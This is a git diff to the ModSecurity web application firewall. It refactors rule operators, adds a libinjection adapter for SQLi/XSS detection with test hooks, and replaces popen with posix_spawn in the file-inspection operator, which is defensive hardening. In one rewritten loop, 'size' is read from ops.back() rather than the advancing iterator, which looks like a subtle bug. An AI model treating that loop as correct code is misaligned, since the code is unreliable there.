a/src/modsecurity.cc +++ b/src/modsecurity.cc @@ -190,30 +190,22 @@ const std::string& ModSecurity::getConnectorInformation() const { return m_connector; } -void ModSecurity::serverLog(void *data, std::shared_ptr rm) { +void ModSecurity::serverLog(void *data, const RuleMessage &rm) { if (m_logCb == NULL) { - std::cerr << "Server log callback is not set -- " << rm->errorLog(); + std::cerr << "Server log callback is not set -- " << rm.errorLog(); std::cerr << std::endl; return; } - if (rm == NULL) { - return; - } - if (m_logProperties & TextLogProperty) { - std::string &&d = rm->log(); - const void *a = static_cast(d.c_str()); + auto d = rm.log(); + auto a = static_cast(d.c_str()); m_logCb(data, a); return; } if (m_logProperties & RuleMessageLogProperty) { - const void *a = static_cast(rm.get()); - if (m_logProperties & IncludeFullHighlightLogProperty) { - m_logCb(data, a); - return; - } + auto a = static_cast(&rm); m_logCb(data, a); return; } @@ -258,14 +250,11 @@ int ModSecurity::processContentOffset(const char *content, size_t len, strlen("highlight")); yajl_gen_array_open(g); - while (vars.size() > 3) { - std::string value; + for(auto [it, pending] = std::tuple{vars.rbegin(), vars.size()}; pending > 3; pending -= 3) { yajl_gen_map_open(g); - vars.pop_back(); - const std::string &startingAt = vars.back().str(); - vars.pop_back(); - const std::string &size = vars.back().str(); - vars.pop_back(); + it++; + const std::string &startingAt = it->str(); it++; + const std::string &size = it->str(); it++; yajl_gen_string(g, reinterpret_cast("startingAt"), strlen("startingAt")); @@ -284,7 +273,7 @@ int ModSecurity::processContentOffset(const char *content, size_t len, return -1; } - value = std::string(content, stoi(startingAt), stoi(size)); + const auto value = std::string(content, stoi(startingAt), stoi(size)); if (varValue.size() > 0) { varValue.append(" " + value); } else { @@ -307,7 +296,6 @@ int ModSecurity::processContentOffset(const char *content, size_t len, while (!trans.empty()) { modsecurity::actions::transformations::Transformation *t; - std::string varValueRes; yajl_gen_map_open(g); yajl_gen_string(g, reinterpret_cast("transformation"), @@ -319,8 +307,7 @@ int ModSecurity::processContentOffset(const char *content, size_t len, t = modsecurity::actions::transformations::Transformation::instantiate( trans.back().str().c_str()); - varValueRes = t->evaluate(varValue, NULL); - varValue.assign(varValueRes); + t->transform(varValue, nullptr); trans.pop_back(); yajl_gen_string(g, reinterpret_cast("value"), @@ -340,16 +327,13 @@ int ModSecurity::processContentOffset(const char *content, size_t len, yajl_gen_map_open(g); - while (ops.size() > 3) { - std::string value; + for(auto [it, pending] = std::tuple{ops.rbegin(), ops.size()}; pending > 3; pending -= 3) { yajl_gen_string(g, reinterpret_cast("highlight"), strlen("highlight")); yajl_gen_map_open(g); - ops.pop_back(); - std::string startingAt = ops.back().str(); - ops.pop_back(); - std::string size = ops.back().str(); - ops.pop_back(); + it++; + const std::string &startingAt = it->str(); it++; + const std::string &size = ops.back().str(); it++; yajl_gen_string(g, reinterpret_cast("startingAt"), strlen("startingAt")); @@ -371,7 +355,7 @@ int ModSecurity::processContentOffset(const char *content, size_t len, reinterpret_cast("value"), strlen("value")); - value = std::string(varValue, stoi(startingAt), stoi(size)); + const auto value = std::string(varValue, stoi(startingAt), stoi(size)); yajl_gen_string(g, reinterpret_cast(value.c_str()), @@ -407,7 +391,7 @@ void ModSecurity::setServerLogCb(ModSecLogCb cb) { } -void ModSecurity::setServerLogCb(ModSecLogCb cb, int properties) { +void ModSecurity::setServerLogCb(ModSecLogCb cb, int properties) { // cppcheck-suppress funcArgNamesDifferentUnnamed - this is a false positive m_logCb = (ModSecLogCb) cb; m_logProperties = properties; } diff --git a/src/operators/begins_with.cc b/src/operators/begins_with.cc index a2f89fce9c..007cafe270 100644 --- a/src/operators/begins_with.cc +++ b/src/operators/begins_with.cc @@ -25,7 +25,7 @@ namespace operators { bool BeginsWith::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { std::string p(m_string->evaluate(transaction)); if (str.size() < p.size()) { diff --git a/src/operators/begins_with.h b/src/operators/begins_with.h index c9fcee467a..7482012a78 100644 --- a/src/operators/begins_with.h +++ b/src/operators/begins_with.h @@ -33,7 +33,7 @@ class BeginsWith : public Operator { : Operator("BeginsWith", std::move(param)) { } bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; }; } // namespace operators diff --git a/src/operators/contains.cc b/src/operators/contains.cc index 95c2702a88..b5e3150716 100644 --- a/src/operators/contains.cc +++ b/src/operators/contains.cc @@ -22,7 +22,7 @@ namespace modsecurity { namespace operators { bool Contains::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &input, std::shared_ptr ruleMessage) { + const std::string &input, RuleMessage &ruleMessage) { std::string p(m_string->evaluate(transaction)); size_t offset = input.find(p); diff --git a/src/operators/contains.h b/src/operators/contains.h index 13fcda9224..65fa73b351 100644 --- a/src/operators/contains.h +++ b/src/operators/contains.h @@ -36,7 +36,7 @@ class Contains : public Operator { : Operator("Contains", std::move(param)) { } bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; }; } // namespace operators diff --git a/src/operators/contains_word.cc b/src/operators/contains_word.cc index 9bcdbd6cf3..e1ca9b869f 100644 --- a/src/operators/contains_word.cc +++ b/src/operators/contains_word.cc @@ -23,13 +23,14 @@ namespace modsecurity { namespace operators { -bool ContainsWord::acceptableChar(const std::string& a, size_t pos) { +inline bool ContainsWord::acceptableChar(const std::string& a, size_t pos) { if (a.size() - 1 < pos) { return false; } - if ((a.at(pos) >= 65 && a.at(pos) <= 90) || - (a.at(pos) >= 97 && a.at(pos) <= 122)) { + const auto ch = a[pos]; + if ((ch >= 65 && ch <= 90) || + (ch >= 97 && ch <= 122)) { return false; } @@ -37,7 +38,7 @@ bool ContainsWord::acceptableChar(const std::string& a, size_t pos) { } bool ContainsWord::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { std::string paramTarget(m_string->evaluate(transaction)); if (paramTarget.empty()) { diff --git a/src/operators/contains_word.h b/src/operators/contains_word.h index c15e399089..8bc859a883 100644 --- a/src/operators/contains_word.h +++ b/src/operators/contains_word.h @@ -34,7 +34,7 @@ class ContainsWord : public Operator { bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; private: static bool acceptableChar(const std::string& a, size_t pos); diff --git a/src/operators/detect_sqli.cc b/src/operators/detect_sqli.cc index 793d564406..5bda1a494f 100644 --- a/src/operators/detect_sqli.cc +++ b/src/operators/detect_sqli.cc @@ -17,45 +17,84 @@ #include #include +#include #include "src/operators/operator.h" -#include "others/libinjection/src/libinjection.h" - -namespace modsecurity { -namespace operators { +#include "src/operators/libinjection_utils.h" +#include "src/operators/libinjection_adapter.h" +#include "src/utils/string.h" +#include "libinjection/src/libinjection_error.h" +namespace modsecurity::operators { bool DetectSQLi::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { - char fingerprint[8]; - int issqli; + const std::string& input, RuleMessage &ruleMessage) { +#ifndef NO_LOGS + const std::string loggable_input = + utils::string::limitTo(80, utils::string::toHexIfNeeded(input)); +#endif + + std::array fingerprint{}; - issqli = libinjection_sqli(input.c_str(), input.length(), fingerprint); + const injection_result_t sqli_result = + runLibinjectionSQLi(input.c_str(), input.length(), fingerprint.data()); - if (!t) { - goto tisempty; + if (t == nullptr) { + return isMaliciousLibinjectionResult(sqli_result); } - if (issqli) { - t->m_matched.push_back(fingerprint); - ms_dbg_a(t, 4, "detected SQLi using libinjection with " \ - "fingerprint '" + std::string(fingerprint) + "' at: '" + - input + "'"); - if (rule && rule->hasCaptureAction()) { - t->m_collections.m_tx_collection->storeOrUpdateFirst( - "0", std::string(fingerprint)); - ms_dbg_a(t, 7, "Added DetectSQLi match TX.0: " + \ - std::string(fingerprint)); - } - } else { - ms_dbg_a(t, 9, "detected SQLi: not able to find an " \ - "inject on '" + input + "'"); + switch (sqli_result) { + case LIBINJECTION_RESULT_TRUE: + t->m_matched.emplace_back(fingerprint.data()); + +#ifndef NO_LOGS + ms_dbg_a(t, 4, + std::string("detected SQLi using libinjection with fingerprint '") + + fingerprint.data() + "' at: '" + loggable_input + "'"); +#endif + + if (rule != nullptr && rule->hasCaptureAction()) { + t->m_collections.m_tx_collection->storeOrUpdateFirst( + "0", std::string(fingerprint.data())); + + ms_dbg_a(t, 7, + std::string("Added DetectSQLi match TX.0: ") + + fingerprint.data()); + } + break; + + case LIBINJECTION_RESULT_ERROR: +#ifndef NO_LOGS + ms_dbg_a(t, 4, + std::string("libinjection parser error during SQLi analysis (") + + libinjectionResultToString(sqli_result) + + "); treating as match (fail-safe). Input: '" + + loggable_input + "'"); +#endif + + if (rule != nullptr && rule->hasCaptureAction()) { + t->m_collections.m_tx_collection->storeOrUpdateFirst( + "0", input); + + ms_dbg_a(t, 7, + std::string("Added DetectSQLi error input TX.0: ") + + input); + } + + // Keep m_matched untouched for parser-error paths to avoid + // introducing synthetic fingerprints for non-TRUE results. + break; + + case LIBINJECTION_RESULT_FALSE: +#ifndef NO_LOGS + ms_dbg_a(t, 9, + std::string("libinjection was not able to find any SQLi in: ") + + loggable_input); +#endif + break; } -tisempty: - return issqli != 0; + return isMaliciousLibinjectionResult(sqli_result); } - -} // namespace operators -} // namespace modsecurity +} // namespace modsecurity::operators diff --git a/src/operators/detect_sqli.h b/src/operators/detect_sqli.h index 237e6a2ffd..71308a4912 100644 --- a/src/operators/detect_sqli.h +++ b/src/operators/detect_sqli.h @@ -34,7 +34,7 @@ class DetectSQLi : public Operator { bool evaluate(Transaction *t, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; }; } // namespace operators diff --git a/src/operators/detect_xss.cc b/src/operators/detect_xss.cc index 6c89ef7203..7395b247a5 100644 --- a/src/operators/detect_xss.cc +++ b/src/operators/detect_xss.cc @@ -18,36 +18,60 @@ #include #include "src/operators/operator.h" -#include "others/libinjection/src/libinjection.h" +#include "src/operators/libinjection_utils.h" +#include "src/operators/libinjection_adapter.h" +#include "src/utils/string.h" +#include "libinjection/src/libinjection_error.h" +namespace modsecurity::operators { -namespace modsecurity { -namespace operators { +bool DetectXSS::evaluate(Transaction *t, RuleWithActions *rule, + const std::string& input, RuleMessage &ruleMessage) { +#ifndef NO_LOGS + const std::string loggable_input = + utils::string::limitTo(80, utils::string::toHexIfNeeded(input)); +#endif + const injection_result_t xss_result = + runLibinjectionXSS(input.c_str(), input.length()); -bool DetectXSS::evaluate(Transaction *t, RuleWithActions *rule, - const std::string& input, std::shared_ptr ruleMessage) { - int is_xss; - - is_xss = libinjection_xss(input.c_str(), input.length()); - - if (t) { - if (is_xss) { - ms_dbg_a(t, 5, "detected XSS using libinjection."); - if (rule && rule->hasCaptureAction()) { - t->m_collections.m_tx_collection->storeOrUpdateFirst( - "0", std::string(input)); - ms_dbg_a(t, 7, "Added DetectXSS match TX.0: " + \ - std::string(input)); + if (t == nullptr) { + return isMaliciousLibinjectionResult(xss_result); + } + + switch (xss_result) { + case LIBINJECTION_RESULT_TRUE: + ms_dbg_a(t, 5, std::string("detected XSS using libinjection.")); + if (rule != nullptr && rule->hasCaptureAction()) { + t->m_collections.m_tx_collection->storeOrUpdateFirst("0", input); + ms_dbg_a(t, 7, std::string("Added DetectXSS match TX.0: ") + input); } - } else { - ms_dbg_a(t, 9, "libinjection was not able to " \ - "find any XSS in: " + input); + break; + + case LIBINJECTION_RESULT_ERROR: +#ifndef NO_LOGS + ms_dbg_a(t, 4, + std::string("libinjection parser error during XSS analysis (") + + libinjectionResultToString(xss_result) + + "); treating as match (fail-safe). Input: " + + loggable_input); +#endif + if (rule != nullptr && rule->hasCaptureAction()) { + t->m_collections.m_tx_collection->storeOrUpdateFirst("0", input); + ms_dbg_a(t, 7, std::string("Added DetectXSS error input TX.0: ") + input); } + break; + + case LIBINJECTION_RESULT_FALSE: +#ifndef NO_LOGS + ms_dbg_a(t, 9, + std::string("libinjection was not able to find any XSS in: ") + + loggable_input); +#endif + break; } - return is_xss != 0; -} + return isMaliciousLibinjectionResult(xss_result); +} -} // namespace operators -} // namespace modsecurity +} // namespace modsecurity::operators diff --git a/src/operators/detect_xss.h b/src/operators/detect_xss.h index c455462513..943937c0c2 100644 --- a/src/operators/detect_xss.h +++ b/src/operators/detect_xss.h @@ -33,7 +33,7 @@ class DetectXSS : public Operator { bool evaluate(Transaction *t, RuleWithActions *rule, const std::string& input, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; }; } // namespace operators diff --git a/src/operators/ends_with.cc b/src/operators/ends_with.cc index 404f3ffd03..f81e179345 100644 --- a/src/operators/ends_with.cc +++ b/src/operators/ends_with.cc @@ -24,7 +24,7 @@ namespace operators { bool EndsWith::evaluate(Transaction *transaction, RuleWithActions *rule, - const std::string &str, std::shared_ptr ruleMessage) { + const std::string &str, RuleMessage &ruleMessage) { bool ret = false; std::string p(m_string->evaluate(transaction)); diff --git a/src/operators/ends_with.h b/src/operators/ends_with.h index 47e42c3fd9..bb69091099 100644 --- a/src/operators/ends_with.h +++ b/src/operators/ends_with.h @@ -35,7 +35,7 @@ class EndsWith : public Operator { } bool evaluate(Transaction *transaction, RuleWithActions *rule, const std::string &str, - std::shared_ptr ruleMessage) override; + RuleMessage &ruleMessage) override; }; diff --git a/src/operators/fuzzy_hash.cc b/src/operators/fuzzy_hash.cc index df31a98c2b..46ed5eb9de 100644 --- a/src/operators/fuzzy_hash.cc +++ b/src/operators/fuzzy_hash.cc @@ -27,8 +27,8 @@ bool FuzzyHash::init(const std::string ¶m2, std::string *error) { #ifdef WITH_SSDEEP std::string digit; std::string file; - std::istream *iss; - struct fuzzy_hash_chunk *chunk, *t; + std::ifstream *iss; + std::shared_ptr chunk, t; std::string err; auto pos = m_param.find_last_of(' '); @@ -48,18 +48,17 @@ bool FuzzyHash::init(const std::string ¶m2, std::string *error) { std::string resource = utils::find_resource(file, param2, &err); iss = new std::ifstream(resource, std::ios::in); - if (((std::ifstream *)iss)->is_open() == false) { + if (iss->is_open() == false) { error->assign("Failed to open file: " + m_param + ". " + err); delete iss; return false; } for (std::string line; std::getline(*iss, line); ) { - chunk = (struct fuzzy_hash_chunk *)calloc(1, - sizeof(struct fuzzy_hash_chunk)); + chunk = std::make_shared(); - chunk->data = strdup(line.c_str()); - chunk->next = NULL; + chunk->data = std::shared_ptr(strdup(line.c_str()), free); + chunk->next = nullptr; if (m_head == NULL) { m_head = chunk; @@ -83,23 +82,11 @@ bool FuzzyHash::init(const std::string ¶m2, std::string *error) { #endif } -FuzzyHash::~FuzzyHash() { - struct fuzzy_hash_chunk *c = m_head; - while (c) { - struct fuzzy_hash_chunk *t = c; - free(c->data); - c->data = NULL; - c = c->next; - free(t); - } - m_head = NULL; -} - - bool FuzzyHash::evaluate(Transaction *t, const std::string &str) { #ifdef WITH_SSDEEP char result[FUZZY_MAX_RESULT]; - struct fuzzy_hash_chunk *chunk = m_head; + std::shared_ptr chunk = m_head; + if (fuzzy_hash_buf((const unsigned char*)str.c_str(), str.size(), result)) { @@ -108,7 +95,7 @@ bool FuzzyHash::evaluate(Transaction *t, const std::string &str) { } while (chunk != NULL) { - int i = fuzzy_compare(chunk->data, result); + int i = fuzzy_compare(chunk->data.get(), result); if (i >= m_threshold) { ms_dbg_a(t, 4, "Fuzzy hash: matched " \ "with score: " + std::to_string(i) + "."); diff --git a/src/operators/fuzzy_hash.h b/src/operators/fuzzy_hash.h index b555eff55f..b78054f5f8 100644 --- a/src/operators/fuzzy_hash.h +++ b/src/operators/fuzzy_hash.h @@ -31,8 +31,8 @@ namespace operators { struct fuzzy_hash_chunk { - char *data; - struct fuzzy_hash_chunk *next; + std::shared_ptr data; + std::shared_ptr next; }; class FuzzyHash : public Operator { @@ -42,14 +42,14 @@ class FuzzyHash : public Operator { : Operator("FuzzyHash", std::move(param)), m_threshold(0), m_head(NULL) { } - ~FuzzyHash(); + ~FuzzyHash() override = default; bool evaluate(Transaction *transaction, const std::string &std) override; bool init(const std::string ¶m, std::string *error) override; private: int m_threshold; - struct fuzzy_hash_chunk *m_head; + std::shared_ptr m_head; }; } // namespace operators diff --git a/src/operators/geo_lookup.cc b/src/operators/geo_lookup.cc index 5717b7afb3..6bd7918594 100644 --- a/src/operators/geo_lookup.cc +++ b/src/operators/geo_lookup.cc @@ -30,8 +30,13 @@ #include "src/utils/geo_lookup.h" -namespace modsecurity { -namespace operators { +namespace modsecurity::operators { + + +static bool debug(const Transaction *transaction, int x, const std::string &a) { + ms_dbg_a(transaction, x, a); + return true; +} bool GeoLookup::evaluate(Transaction *trans, const std::string &exp) { @@ -41,9 +46,9 @@ bool GeoLookup::evaluate(Transaction *trans, const std::string &exp) { if (trans) { ret = Utils::GeoLookup::getInstance().lookup(exp, trans, - std::bind(&GeoLookup::debug, this, trans, _1, _2)); + std::bind(debug, trans, _1, _2)); } else { - ret = Utils::GeoLookup::getInstance().lookup(exp, NULL, + ret = Utils::GeoLookup::getInstance().lookup(exp, nullptr, nullptr); } @@ -51,5 +56,4 @@ bool GeoLookup::evaluate(Transaction *trans, const std::string &exp) { } -} // namespace operators -} // namespace modsecurity +} // namespace modsecurity::operators diff --git a/src/operators/geo_lookup.h b/src/operators/geo_lookup.h index e019378259..b12b031aa7 100644 --- a/src/operators/geo_lookup.h +++ b/src/operators/geo_lookup.h @@ -21,8 +21,8 @@ #include "src/operators/operator.h" -namespace modsecurity { -namespace operators { +namespace modsecurity::operators { + class GeoLookup : public Operator { public: @@ -30,16 +30,10 @@ class GeoLookup : public Operator { GeoLookup() : Operator("GeoLookup") { } bool evaluate(Transaction *transaction, const std::string &exp) override; - - protected: - bool debug(Transaction *transaction, int x, const std::string &a) { - ms_dbg_a(transaction, x, a); - return true; - } }; -} // namespace operators -} // namespace modsecurity + +} // namespace modsecurity::operators #endif // SRC_OPERATORS_GEO_LOOKUP_H_ diff --git a/src/operators/inspect_file.cc b/src/operators/inspect_file.cc index 9ce43af0d8..f0ab06cafd 100644 --- a/src/operators/inspect_file.cc +++ b/src/operators/inspect_file.cc @@ -16,25 +16,120 @@ #include "src/operators/inspect_file.h" #include +#include -#include #include +#include +#include +#include +#include #include "src/operators/operator.h" #include "src/utils/system.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#include +#else +#include +#include +#include +#include + +extern char **environ; +#endif + namespace modsecurity { namespace operators { +#ifdef WIN32 +namespace { +bool stringToWide(const std::string &input, std::wstring *output) { + if (output == nullptr) { + return false; + } + + if (input.empty()) { + output->clear(); + return true; + } + + int needed = MultiByteToWideChar(CP_UTF8, 0, input.c_str(), -1, nullptr, 0); + if (needed <= 0) { + return false; + } + + output->resize(needed); + int written = MultiByteToWideChar(CP_UTF8, 0, input.c_str(), -1, &(*output)[0], needed); + if (written != needed) { + return false; + } + + output->pop_back(); + return true; +} + +std::wstring quoteWindowsArg(const std::wstring &arg) { + if (arg.empty()) { + return L"\"\""; + } + + bool requires_quotes = false; + for (wchar_t c : arg) { + if (c == L' ' || c == L'\t' || c == L'\"') { + requires_quotes = true; + break; + } + } + + if (requires_quotes == false) { + return arg; + } + + std::wstring out; + out.push_back(L'"'); + + size_t backslashes = 0; + for (wchar_t c : arg) { + if (c == L'\\') { + backslashes++; + continue; + } + + if (c == L'"') { + out.append(backslashes * 2 + 1, L'\\'); + out.push_back(L'"'); + backslashes = 0; + continue; + } + + if (backslashes > 0) { + out.append(backslashes, L'\\'); + backslashes = 0; + } + + out.push_back(c); + } + + if (backslashes > 0) { + out.append(backslashes * 2, L'\\'); + } + + out.push_back(L'"'); + return out; +} +} // namespace +#endif + bool InspectFile::init(const std::string ¶m2, std::string *error) { - std::istream *iss; + std::ifstream *iss; std::string err; std::string err_lua; m_file = utils::find_resource(m_param, param2, &err); iss = new std::ifstream(m_file, std::ios::in); - if (((std::ifstream *)iss)->is_open() == false) { + if (iss->is_open() == false) { error->assign("Failed to open file: " + m_param + ". " + err); delete iss; return false; @@ -53,32 +148,200 @@ bool InspectFile::evaluate(Transaction *transaction, const std::string &str) { if (m_isScript) { return m_lua.run(transaction, str); } else { - FILE *in; - char buff[512]; +#ifndef WIN32 + std::array pipefd = {{-1, -1}}; + if (pipe(pipefd.data()) == -1) { + return false; + } + + posix_spawn_file_actions_t actions; + if (posix_spawn_file_actions_init(&actions) != 0) { + close(pipefd[0]); + close(pipefd[1]); + return false; + } + + bool action_error = false; + if (posix_spawn_file_actions_addclose(&actions, pipefd[0]) != 0) { + action_error = true; + } + if (!action_error + && posix_spawn_file_actions_adddup2(&actions, pipefd[1], STDOUT_FILENO) != 0) { + action_error = true; + } + if (!action_error + && posix_spawn_file_actions_addclose(&actions, pipefd[1]) != 0) { + action_error = true; + } + + if (action_error) { + posix_spawn_file_actions_destroy(&actions); + close(pipefd[0]); + close(pipefd[1]); + return false; + } + + std::vector argv_storage; + argv_storage.emplace_back(m_file); + argv_storage.emplace_back(str); + + std::vector argv; + argv.reserve(argv_storage.size() + 1); + // cppcheck-suppress constVariableReference + for (std::string &arg : argv_storage) { + argv.push_back(arg.data()); + } + argv.push_back(nullptr); + + pid_t pid = 0; + int spawn_rc = posix_spawn(&pid, m_file.c_str(), &actions, nullptr, argv.data(), + environ); + + posix_spawn_file_actions_destroy(&actions); + + close(pipefd[1]); + + if (spawn_rc != 0) { + close(pipefd[0]); + return false; + } + + std::array buff = {}; std::stringstream s; - std::string res; - std::string openstr; + bool read_error = false; + bool done_reading = false; + while (!done_reading) { + ssize_t count = read(pipefd[0], buff.data(), buff.size()); + if (count > 0) { + s.write(buff.data(), count); + } else if (count == 0) { + done_reading = true; + } else if (errno != EINTR) { + read_error = true; + done_reading = true; + } + } + + close(pipefd[0]); - openstr.append(m_param); - openstr.append(" "); - openstr.append(str); - if (!(in = popen(openstr.c_str(), "r"))) { + int wstatus = 0; + while (waitpid(pid, &wstatus, 0) == -1) { + if (errno != EINTR) { + return false; + } + } + + if (read_error || WIFEXITED(wstatus) == 0 || WEXITSTATUS(wstatus) != 0) { + return false; + } + + std::string res = s.str(); + if (res.size() > 1 && res[0] != '1') { + return true; /* match */ + } + + /* no match */ + return false; +#else + std::wstring executable_path; + std::wstring argument; + if (stringToWide(m_file, &executable_path) == false + || stringToWide(str, &argument) == false) { return false; } - while (fgets(buff, sizeof(buff), in) != NULL) { - s << buff; + SECURITY_ATTRIBUTES security_attributes; + memset(&security_attributes, 0, sizeof(security_attributes)); + security_attributes.nLength = sizeof(security_attributes); + security_attributes.bInheritHandle = TRUE; + + HANDLE child_stdout_read = nullptr; + HANDLE child_stdout_write = nullptr; + if (CreatePipe(&child_stdout_read, &child_stdout_write, + &security_attributes, 0) == FALSE) { + return false; } - pclose(in); + if (SetHandleInformation(child_stdout_read, HANDLE_FLAG_INHERIT, 0) == FALSE) { + CloseHandle(child_stdout_read); + CloseHandle(child_stdout_write); + return false; + } + + STARTUPINFOW startup_info; + PROCESS_INFORMATION process_info; + memset(&startup_info, 0, sizeof(startup_info)); + memset(&process_info, 0, sizeof(process_info)); + startup_info.cb = sizeof(startup_info); + startup_info.dwFlags = STARTF_USESTDHANDLES; + startup_info.hStdInput = GetStdHandle(STD_INPUT_HANDLE); + startup_info.hStdOutput = child_stdout_write; + startup_info.hStdError = GetStdHandle(STD_ERROR_HANDLE); + + std::wstring command_line = quoteWindowsArg(executable_path); + command_line.append(L" "); + command_line.append(quoteWindowsArg(argument)); + + if (CreateProcessW(executable_path.c_str(), &command_line[0], nullptr, + nullptr, TRUE, 0, nullptr, nullptr, &startup_info, + &process_info) == FALSE) { + CloseHandle(child_stdout_read); + CloseHandle(child_stdout_write); + return false; + } + + CloseHandle(child_stdout_write); + + char buff[512]; + std::stringstream s; + bool read_error = false; + + while (true) { + DWORD bytes_read = 0; + BOOL read_ok = ReadFile(child_stdout_read, buff, sizeof(buff), &bytes_read, nullptr); + if (read_ok == FALSE) { + DWORD err = GetLastError(); + if (err == ERROR_BROKEN_PIPE) { + break; + } + read_error = true; + break; + } + + if (bytes_read == 0) { + break; + } + + s.write(buff, bytes_read); + } + + CloseHandle(child_stdout_read); + + DWORD wait_rc = WaitForSingleObject(process_info.hProcess, INFINITE); + if (wait_rc != WAIT_OBJECT_0) { + CloseHandle(process_info.hThread); + CloseHandle(process_info.hProcess); + return false; + } + + DWORD exit_code = 1; + BOOL got_exit_code = GetExitCodeProcess(process_info.hProcess, &exit_code); + + CloseHandle(process_info.hThread); + CloseHandle(process_info.hProcess); + + if (read_error || got_exit_code == FALSE || exit_code != 0) { + return false; + } - res.append(s.str()); - if (res.size() > 1 && res.at(0) != '1') { + std::string res = s.str(); + if (res.size() > 1 && res[0] != '1') { return true; /* match */ } /* no match */ return false; +#endif } } diff --git a/src/operators/libinjection_adapter.cc b/src/operators/libinjection_adapter.cc new file mode 100644 index 0000000000..ca7fdaca02 --- /dev/null +++ b/src/operators/libinjection_adapter.cc @@ -0,0 +1,68 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#include "src/operators/libinjection_adapter.h" + +#include "libinjection/src/libinjection.h" + +namespace modsecurity::operators { +namespace { + +// Per-thread overrides avoid cross-thread interference during mtstress tests. +// Intentional design: +// - thread_local to isolate tests across threads +// - function pointers to keep zero-overhead call path +// - mutable for test injection hooks +// NOSONAR: required for testing override mechanism (see set*OverrideForTesting) +thread_local DetectSQLiFn g_sqli_override = nullptr; // NOSONAR +thread_local DetectXSSFn g_xss_override = nullptr; // NOSONAR + +} + +injection_result_t runLibinjectionSQLi(const char *input, size_t len, + char *fingerprint) { + if (DetectSQLiFn fn = g_sqli_override) { + return fn(input, len, fingerprint); + } + + return libinjection_sqli(input, len, fingerprint); +} + +injection_result_t runLibinjectionXSS(const char *input, size_t len) { + if (DetectXSSFn fn = g_xss_override) { + return fn(input, len); + } + + return libinjection_xss(input, len); +} + +// Test-only hook: allows injecting alternative detection functions +// NOSONAR: function pointer is intentional (no std::function overhead) +void setLibinjectionSQLiOverrideForTesting(DetectSQLiFn fn) { // NOSONAR + g_sqli_override = fn; +} + +// Test-only hook: allows injecting alternative detection functions +// NOSONAR: function pointer is intentional (no std::function overhead) +void setLibinjectionXSSOverrideForTesting(DetectXSSFn fn) { // NOSONAR + g_xss_override = fn; +} + +void clearLibinjectionOverridesForTesting() { + g_sqli_override = nullptr; + g_xss_override = nullptr; +} + +} // namespace modsecurity::operators diff --git a/src/operators/libinjection_adapter.h b/src/operators/libinjection_adapter.h new file mode 100644 index 0000000000..f5b78371b9 --- /dev/null +++ b/src/operators/libinjection_adapter.h @@ -0,0 +1,38 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#ifndef SRC_OPERATORS_LIBINJECTION_ADAPTER_H_ +#define SRC_OPERATORS_LIBINJECTION_ADAPTER_H_ + +#include + +#include "libinjection/src/libinjection_error.h" // matches detect_xss.cc, detect_sqli.cc, and libinjection_utils.h + +namespace modsecurity::operators { + +using DetectSQLiFn = injection_result_t (*)(const char *, size_t, char *); +using DetectXSSFn = injection_result_t (*)(const char *, size_t); + +injection_result_t runLibinjectionSQLi(const char *input, size_t len, + char *fingerprint); +injection_result_t runLibinjectionXSS(const char *input, size_t len); + +void setLibinjectionSQLiOverrideForTesting(DetectSQLiFn fn); +void setLibinjectionXSSOverrideForTesting(DetectXSSFn fn); +void clearLibinjectionOverridesForTesting(); + +} // namespace modsecurity::operators + +#endif // SRC_OPERATORS_LIBINJECTION_ADAPTER_H_ diff --git a/src/operators/libinjection_utils.h b/src/operators/libinjection_utils.h new file mode 100644 index 0000000000..3c543d0382 --- /dev/null +++ b/src/operators/libinjection_utils.h @@ -0,0 +1,48 @@ +/* + * ModSecurity, http://www.modsecurity.org/ + * Copyright (c) 2015 - 2021 Trustwave Holdings, Inc. (http://www.trustwave.com/) + * + * You may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Trustwave Holdings, Inc. + * directly using the email address security@modsecurity.org. + * + */ + +#ifndef SRC_OPERATORS_LIBINJECTION_UTILS_H_ +#define SRC_OPERATORS_LIBINJECTION_UTILS_H_ + +#include "libinjection/src/libinjection_error.h" + +namespace modsecurity::operators { + +/* + * libinjection parser errors are handled in fail-safe mode as suspicious + * results, so callers can block on both confirmed detections and parser + * failures. + */ +static inline bool isMaliciousLibinjectionResult(injection_result_t result) { + return result == LIBINJECTION_RESULT_TRUE + || result == LIBINJECTION_RESULT_ERROR; +} + +static inline const char *libinjectionResultToString(injection_result_t result) { + switch (result) { + case LIBINJECTION_RESULT_TRUE: + return "attack-detected"; + case LIBINJECTION_RESULT_FALSE: + return "no-attack"; + case LIBINJECTION_RESULT_ERROR: + return "parser-error"; + } + + return "unexpected-result"; +} + +} // namespace modsecurity::operators + +#endif // 